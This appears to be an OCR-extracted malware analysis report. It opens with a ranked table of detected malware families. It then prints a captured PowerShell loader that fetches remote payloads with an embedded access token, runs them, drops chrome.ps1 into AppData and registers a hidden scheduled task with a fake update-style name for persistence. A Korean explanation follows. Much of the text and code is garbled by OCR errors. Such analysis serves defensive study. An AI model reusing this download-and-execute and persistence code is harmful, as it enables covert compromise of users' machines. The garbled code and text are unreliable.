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4 NEW Trojan.GenericKD.71882277 Trojan 54,084
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8 NEW Gen:Variant.Application.Miner.2 ETC 20,042
9 NEW Trojan.Generic.38684759 Trojan 17,351
10 NEW Spyware.Infostealer.Bladabindi Spyware 17,249
M NEW JS:Trojan.Cryx0s.14349 Trojan 15,960
12 NEW Trojan.Generic.6257285 Trojan 15,874
13 NEW Gen:Trojan.Dropper.RQU.IV2@auJlUSbG Trojan 14,819
14 NEW Worm.Brontok-F Worm 14,000
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2 M
$hhh=Join-Path ([System.IO.Path]::GetTempPath()) ' Column 2
.pdf"; $thf="ghp_HEZENXau9NBrBFK11GKhWRCKQ1EDeUUSQGGC" ; $bstr="h"+"t"+"t"+"p"+
FLEL R LY LE LY m u
+ u /" $rstr=$bstr+"tmp.pdf"; $hrs =
@{Authorization="token
$thkf";srjidc="dsghjkgekjhgegegegr”; Accept="application/vnd. "} Inv

oke-WebRequest -Uri $rstr -Headers $hrs —-OutFile $hhh;& $hhh;$ppp = Join-Path
($env:AppData) "chrome.psl"; $str = '$aaa = Join-Path ($env:AppDatal
"temp.psl"; $bsp=""'+$bstr+'ofx.txt";$hsp=@{Authorization="token

"+$thf+'"; fric="hdjgERErit783tiu"; Accept="application/vnd. "}:Invo
ke-WebRequest -Uri $bsp -Headers $hsp -OutFile $aaa;& $aaa; Remove-Item -Path
$aaa -Force;'; §str | Out—File -FilePath %$ppp -Encoding UTF8; $action = New-
ScheduledTaskAction -Execute 'PowerShell.exe' -Argument '-WindowStyle Hidden -
nop -NonInteractive —NoProfile -ExecutionPolicy Bypass —Command "& {$abc =
Join-Path ($env:AppData) \"chrome.psl\"; & $abc;}"'; $trigger = New-
ScheduledTaskTrigger —Once —-At (Get-Date]).AddMinutes(5) -RepetitionInterval
(New-TimeSpan -Minutes 30); $settings = New-ScheduledTaskSettingsSet -Hidden;
Register-ScheduledTask -Taskhlame
"MicrorfteguesoftUpdatallogiveKentwuerwtySchule" —Action $actien -Trigger
$trigger -Settings $settings;$aaa = Join-Path ($env:AppData)
"system_first.psl";$rstr=$bstr+"onf.txt"; Invoke-WebRequest -Uri $rstr -
Headers $hrs -OutFile $aaa;& $aaa; Remove-Item —Path $aaa -Force;
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PowerShell.exe -WindowStyle Hidden -nop -NenInteractive -MoProfile -ExecutionPolicy Bypass -Command "8 {3abc = Jein-Path ($env:AppData) \"chrome.ps1\";

2AA|1E22| 2fd SEE|= chrome.ps1 T2 S AKXt AH(C2)01| A ofx.ixt TS CH2 B} %APPDATAY% =L
0ol "temp.psT1" TIYHOE M = MAlA|7|= RS dhs fHetLICE

FI

PowerShell
$aaa = Join-Path ($env:AppData) “"temp.psl™;
fbsp="https:/s fofx.txt"; $hsp=@{Authorizatioc
n="token
ghp H6ZENXauSNBrBFK11GKhWRCKQ1BDed450QGGC" ; frjc="hdjgERErit783tiu" ;Accept="application/wvn
d. "1;Invoke-WebRequest -Url $bsp -Headers $hsp -OutFile $aza;& %aaa;

Remove-Item -Path $aaa -Force;
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